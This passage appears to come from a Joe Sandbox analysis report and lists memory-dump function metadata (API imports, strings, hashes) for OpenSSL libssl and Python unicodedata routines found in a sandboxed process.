Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug$X_freeX_new_from_name
String ID: ..\s\ssl\s3_lib.c$ssl_generate_pkey_group
API String ID: 3722767420-2496621805
Opcode ID: 608811b5d5cc53c4b443046dd70d08cc72c6ef9e7ffa7820d7d5ffb1831b4724
Instruction ID: 3bc28aaf0a8a8eb62eeb527141384df3c628a1db55a851b047ffe3afd998d9bf
Opcode Fuzzy Hash: 608811b5d5cc53c4b443046dd70d08cc72c6ef9e7ffa7820d7d5ffb1831b4724
Instruction Fuzzy Hash: 4B415B24F0DA8281F784F7A2E9617FE5211AF95780FD50036E94D5FBB6DE2CE4818742

Function 00007FFE013B221B Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 212COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE0140C33D
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0140C355
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140C3EE
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0140C406
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140C42A
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0140C442
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140C63D
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0140C655

Strings

tls_parse_ctos_key_share, xrefs: 00007FFE0140C342, 00007FFE0140C3F3, 00007FFE0140C434, 00007FFE0140C5D3, 00007FFE0140C5FD, 00007FFE0140C647
..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFE0140C34E, 00007FFE0140C3FF, 00007FFE0140C43B, 00007FFE0140C5DF, 00007FFE0140C609, 00007FFE0140C64E

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\extensions_srvr.c$tls_parse_ctos_key_share
API String ID: 193678381-166674739
Opcode ID: 26538530d0b4c294a6105c37b1eb02ab55bbef451c82e34db5fb2157a8506edc
Instruction ID: 2d944b8853783f91fa6e8af981e81e7fb1cd9c32204ae81890ab1093151dc744
Opcode Fuzzy Hash: 26538530d0b4c294a6105c37b1eb02ab55bbef451c82e34db5fb2157a8506edc
Instruction Fuzzy Hash: 0091F471E0D69281F7619BA2E4802FE2291EF91784F44423AED5D1F6F6CF3CE9828740

Function 00007FFE013B2162 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 140stringCOMMON

Download Yara Rule

APIs

OPENSSL_sk_new_null.LIBCRYPTO-3 ref: 00007FFE013B906D
ERR_new.LIBCRYPTO-3 ref: 00007FFE013B907A
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013B9092
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013B90A4
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFE013B9154
ERR_new.LIBCRYPTO-3 ref: 00007FFE013B9175
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013B918A
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013B9199
OPENSSL_sk_free.LIBCRYPTO-3 ref: 00007FFE013B91A1

Strings

ssl_ctx_make_profiles, xrefs: 00007FFE013B907F, 00007FFE013B917A
..\s\ssl\d1_srtp.c, xrefs: 00007FFE013B908B, 00007FFE013B9183

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debugR_set_error$L_sk_freeL_sk_new_nullstrncmp
String ID: ..\s\ssl\d1_srtp.c$ssl_ctx_make_profiles
API String ID: 3277051535-118859582
Opcode ID: e72304d4c79b4a9587490bee6b0dbe0bf50abb0501810f5d3378662828395322
Instruction ID: ab5b1c575e94ba8691fe41ee7dde081940d39bd1be05750564da529895979d8e
Opcode Fuzzy Hash: e72304d4c79b4a9587490bee6b0dbe0bf50abb0501810f5d3378662828395322
Instruction Fuzzy Hash: 4E51D361F0D64246FB10AB65A8443BE5291AF45B88F994035DF0D4F7F2FE3DE8829301

Function 00007FFE013B1096 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE01416334
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0141634C

Strings

tls_prepare_client_certificate, xrefs: 00007FFE01416339, 00007FFE014164D0, 00007FFE01416558
..\s\ssl\statem\statem_clnt.c, xrefs: 00007FFE01416345, 00007FFE014164DC, 00007FFE01416564

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\statem_clnt.c$tls_prepare_client_certificate
API String ID: 193678381-816577172
Opcode ID: 0631d5a9709af4c4a5cdca13957b11041a4571707cdcd962e9d56ca7e6e342d0
Instruction ID: 6f1d03f4cc1782626e34c216486506b1d20a21bc8d1dccde669645df1b0f0e07
Opcode Fuzzy Hash: 0631d5a9709af4c4a5cdca13957b11041a4571707cdcd962e9d56ca7e6e342d0
Instruction Fuzzy Hash: A0716E22F1864282FB509F56F4902BE6261EF84B84F591131EB4D4F7BADF6DE8818B40

Function 00007FFE013EE190 Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

BIO_indent.LIBCRYPTO-3(?,?,?,00007FFE013EC501), ref: 00007FFE013EE1F0
BIO_puts.LIBCRYPTO-3(?,?,?,00007FFE013EC501), ref: 00007FFE013EE1FF
BIO_indent.LIBCRYPTO-3(?,?,?,00007FFE013EC501), ref: 00007FFE013EE210
BIO_printf.LIBCRYPTO-3(?,?,?,00007FFE013EC501), ref: 00007FFE013EE222
BIO_indent.LIBCRYPTO-3(?,?,?,00007FFE013EC501), ref: 00007FFE013EE233
BIO_printf.LIBCRYPTO-3(?,?,?,00007FFE013EC501), ref: 00007FFE013EE24F
BIO_printf.LIBCRYPTO-3(?,?,?,00007FFE013EC501), ref: 00007FFE013EE270
BIO_puts.LIBCRYPTO-3(?,?,?,00007FFE013EC501), ref: 00007FFE013EE288

Strings

%02X, xrefs: 00007FFE013EE266
gmt_unix_time=0x%08X, xrefs: 00007FFE013EE218
Random:, xrefs: 00007FFE013EE1F5
random_bytes, xrefs: 00007FFE013EE23E
%s (len=%d): , xrefs: 00007FFE013EE245

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_indentO_printf$O_puts
String ID: %02X$%s (len=%d): $Random:$gmt_unix_time=0x%08X$random_bytes
API String ID: 4010264686-1582741163
Opcode ID: 6519631c960eed39ddad9f4ceb3937f49908e10ce275aec5714ee6bf54b089a5
Instruction ID: b119fda89077fd8708f14f9ae9e6009d28a6bd6fc4e213f97a7e4f7df24b2410
Opcode Fuzzy Hash: 6519631c960eed39ddad9f4ceb3937f49908e10ce275aec5714ee6bf54b089a5
Instruction Fuzzy Hash: 0321E322F0C6A146F710EB66A8106BD7B61EB95B84F454130ED590FBF6DEBCD2428701

Function 00007FFE01304B94 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 93COMMON

Download Yara Rule

APIs

PyUnicode_CompareWithASCIIString.PYTHON313 ref: 00007FFE01304BD2
PyUnicode_Compare.PYTHON313 ref: 00007FFE01304C35
_Py_Dealloc.PYTHON313 ref: 00007FFE01304C4B

Strings

NFC, xrefs: 00007FFE01304BBE
NFKD, xrefs: 00007FFE01304C8D
NFKC, xrefs: 00007FFE01304C55
invalid normalization form, xrefs: 00007FFE01304CAF
NFD, xrefs: 00007FFE01304C75

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: CompareUnicode_$DeallocStringWith
String ID: NFC$NFD$NFKC$NFKD$invalid normalization form
API String ID: 1004266020-3528878251
Opcode ID: 74b9620dcdea853079a1270c98b22e6a74a71ffef3b70556d2d0268c14110fd8
Instruction ID: 898064837de81c18e739c14729cc995fdae34139c7518e1e08d327c44e8fa8df
Opcode Fuzzy Hash: 74b9620dcdea853079a1270c98b22e6a74a71ffef3b70556d2d0268c14110fd8
Instruction Fuzzy Hash: 17317C61A08A1291EF5A8B92E8B433963D1AF48BC5F46403DDA4E4F775EF2CE5549300

Function 00007FFE013011C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 153COMMON

Download Yara Rule

APIs

PyUnicode_CompareWithASCIIString.PYTHON313 ref: 00007FFE013011F2
PyUnicode_CompareWithASCIIString.PYTHON313 ref: 00007FFE0130120A
PyType_IsSubtype.PYTHON313 ref: 00007FFE0130122D

Part of subcall function 00007FFE01301300: PyMem_Malloc.PYTHON313 ref: 00007FFE0130138B

PyUnicode_CompareWithASCIIString.PYTHON313 ref: 00007FFE01303995

Strings

NFC, xrefs: 00007FFE013011E8
NFKD, xrefs: 00007FFE013039D1
NFKC, xrefs: 00007FFE01301200
invalid normalization form, xrefs: 00007FFE01303A2D
NFD, xrefs: 00007FFE0130398B

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: CompareStringUnicode_With$MallocMem_SubtypeType_
String ID: NFC$NFD$NFKC$NFKD$invalid normalization form
API String ID: 2156454041-3528878251
Opcode ID: da3b54f35a8fb496e7d97c3fec9d3f2a0cbd8ed79af4ca103da2bfe7283e7162
Instruction ID: dd4513fd925f4c5ca2357faec3365b56f18d8a24e57c9dceda941db0542553f6
Opcode Fuzzy Hash: da3b54f35a8fb496e7d97c3fec9d3f2a0cbd8ed79af4ca103da2bfe7283e7162
Instruction Fuzzy Hash: A051C1A1E1C25382FB668BE5947177A63D8AF46BC0F065039DA4E8FBA5DF2DE5108300

Function 00007FFE013B19EC Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE0140E5F0
OPENSSL_sk_value.LIBCRYPTO-3 ref: 00007FFE0140E62B
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140E654
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0140E66C

Strings

..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFE0140E665, 00007FFE0140E6FD, 00007FFE0140E725
tls_parse_ctos_use_srtp, xrefs: 00007FFE0140E659, 00007FFE0140E6B5, 00007FFE0140E6F1, 00007FFE0140E719

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: L_sk_numL_sk_valueR_newR_set_debug
String ID: ..\s\ssl\statem\extensions_srvr.c$tls_parse_ctos_use_srtp
API String ID: 2660725122-2269544924
Opcode ID: 596797ce5974bdd948c3c6290542a7b9493a0efd42c17216aafb9146e75077b5
Instruction ID: b0fefd8144f0cc86cdbdd0f30f52de064d2216873ed52c67b946282815501ad3
Opcode Fuzzy Hash: 596797ce5974bdd948c3c6290542a7b9493a0efd42c17216aafb9146e75077b5
Instruction Fuzzy Hash: F1511771F09B9282E711DB92F8442BE6395EB44790F85493AEE5C1B7F1EE3CE4508300

Function 00007FFE01304768 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 109COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON313 ref: 00007FFE01304798
PyType_IsSubtype.PYTHON313 ref: 00007FFE013047FB
PyUnicode_FromString.PYTHON313 ref: 00007FFE01304817

Strings

%04X, xrefs: 00007FFE013048C0
decomposition, xrefs: 00007FFE01304791
argument, xrefs: 00007FFE0130478A
, xrefs: 00007FFE013048AB
a unicode character, xrefs: 00007FFE01304783

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Arg_ArgumentFromStringSubtypeType_Unicode_
String ID: $%04X$a unicode character$argument$decomposition
API String ID: 1318908108-4056541097
Opcode ID: 3b76a624b36cde7d8a71620bff0719cf73dd2bf4325b1108dfc60d55c9fd7842
Instruction ID: 013ec8272a6ed2abc8b2a37badc575637ffaa7a117820bcbcffb70e9a1f96f44
Opcode Fuzzy Hash: 3b76a624b36cde7d8a71620bff0719cf73dd2bf4325b1108dfc60d55c9fd7842
Instruction Fuzzy Hash: 3641E8A1E086C241EB268B55E8603B927E0FF45B94F464239CB6E0B6E5DF3DD655C300

Function 00007FFE01413190 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

X509_get0_pubkey.LIBCRYPTO-3 ref: 00007FFE014131D0
ERR_new.LIBCRYPTO-3 ref: 00007FFE01413218
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01413230
ERR_new.LIBCRYPTO-3 ref: 00007FFE0141326B
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01413283

Part of subcall function 00007FFE013B1B2C: ERR_new.LIBCRYPTO-3 ref: 00007FFE013D74C3
Part of subcall function 00007FFE013B1B2C: ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013D74DB
Part of subcall function 00007FFE013B1B2C: ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013D74ED

ERR_new.LIBCRYPTO-3 ref: 00007FFE0141330D
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01413325

Strings

..\s\ssl\statem\statem_clnt.c, xrefs: 00007FFE01413229, 00007FFE0141327C, 00007FFE014132D9, 00007FFE0141331E
ssl3_check_cert_and_algorithm, xrefs: 00007FFE0141321D, 00007FFE01413270, 00007FFE014132CD, 00007FFE01413312

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug$R_set_errorX509_get0_pubkey
String ID: ..\s\ssl\statem\statem_clnt.c$ssl3_check_cert_and_algorithm
API String ID: 1177010120-269904252
Opcode ID: 5a74399cd657ac38bc649b27b07c0cbf76467f17a7e7de401be5eb4dd26b166e
Instruction ID: 7501c49df9bfe7611821332dfb32681c4ce3e611bd4e3a2959e5f8ff856ef59b
Opcode Fuzzy Hash: 5a74399cd657ac38bc649b27b07c0cbf76467f17a7e7de401be5eb4dd26b166e
Instruction Fuzzy Hash: 4D417F21F1868282FB90AB55F4517FE1750EB85B94F880036EE0D5FBFADE2CE9818700

Function 00007FFE013B119F Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013D2DD9
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013D2DF1
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013D2E03
ERR_new.LIBCRYPTO-3 ref: 00007FFE013D2E41
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013D2E59
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013D2E6B

Strings

..\s\ssl\ssl_lib.c, xrefs: 00007FFE013D2DEA, 00007FFE013D2E52, 00007FFE013D2E91
SSL_read_early_data, xrefs: 00007FFE013D2DDE, 00007FFE013D2E46, 00007FFE013D2E85

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ..\s\ssl\ssl_lib.c$SSL_read_early_data
API String ID: 1552677711-1193762697
Opcode ID: 765441d96c8836d89b4b86551af9abb2bf4f61ae2aa69475af49dd773c5c7a39
Instruction ID: 88e8aa4bdd6d2f3c2fe07b356e9533218020fb2832ea75d054d1b46ba10f541e
Opcode Fuzzy Hash: 765441d96c8836d89b4b86551af9abb2bf4f61ae2aa69475af49dd773c5c7a39
Instruction Fuzzy Hash: 8841AE22B0865286F7519BA1E8017BF62A0FB85B84F950431EE4D8B6F6DF3CE4818701

Function 00007FFE013CA200 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

BIO_s_file.LIBCRYPTO-3 ref: 00007FFE013CA25C
BIO_new.LIBCRYPTO-3 ref: 00007FFE013CA264
BIO_ctrl.LIBCRYPTO-3 ref: 00007FFE013CA286
ERR_set_mark.LIBCRYPTO-3 ref: 00007FFE013CA2D6
BIO_ctrl.LIBCRYPTO-3 ref: 00007FFE013CA304
OSSL_DECODER_CTX_free.LIBCRYPTO-3 ref: 00007FFE013CA310
ERR_clear_last_mark.LIBCRYPTO-3 ref: 00007FFE013CA31C
ERR_pop_to_mark.LIBCRYPTO-3 ref: 00007FFE013CA323
EVP_PKEY_free.LIBCRYPTO-3 ref: 00007FFE013CA36B
BIO_free.LIBCRYPTO-3 ref: 00007FFE013CA373

Strings

PEM, xrefs: 00007FFE013CA2A6

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_ctrl$O_freeO_newO_s_fileR_clear_last_markR_pop_to_markR_set_markX_freeY_free
String ID: PEM
API String ID: 753178889-379482575
Opcode ID: e20c4dff99ccbb4fb21f82b990d450c998c1487063b2b663a264d8d3f9704bfd
Instruction ID: a28fee024c7cd9073b545c0fafce7dbb694585864536f7a50347c44d0e15354d
Opcode Fuzzy Hash: e20c4dff99ccbb4fb21f82b990d450c998c1487063b2b663a264d8d3f9704bfd
Instruction Fuzzy Hash: 2A418B22E0DA4682FB64AB56A4116BE62D1FF94BC4F454031EE8D4BBB6EF7CE4418700

Function 00007FFE013D9180 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 87COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013D91A5
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013D91BD
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013D91CF
conf_ssl_name_find.LIBCRYPTO-3 ref: 00007FFE013D91EA
conf_ssl_get.LIBCRYPTO-3 ref: 00007FFE013D920B
OSSL_LIB_CTX_set0_default.LIBCRYPTO-3 ref: 00007FFE013D9269
conf_ssl_get_cmd.LIBCRYPTO-3 ref: 00007FFE013D9290
OSSL_LIB_CTX_set0_default.LIBCRYPTO-3 ref: 00007FFE013D92C1

Strings

system_default, xrefs: 00007FFE013D91D9
ssl_do_config, xrefs: 00007FFE013D91AA
..\s\ssl\ssl_mcnf.c, xrefs: 00007FFE013D91B6

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: X_set0_default$R_newR_set_debugR_set_errorconf_ssl_getconf_ssl_get_cmdconf_ssl_name_find
String ID: ..\s\ssl\ssl_mcnf.c$ssl_do_config$system_default
API String ID: 383195463-1219018032
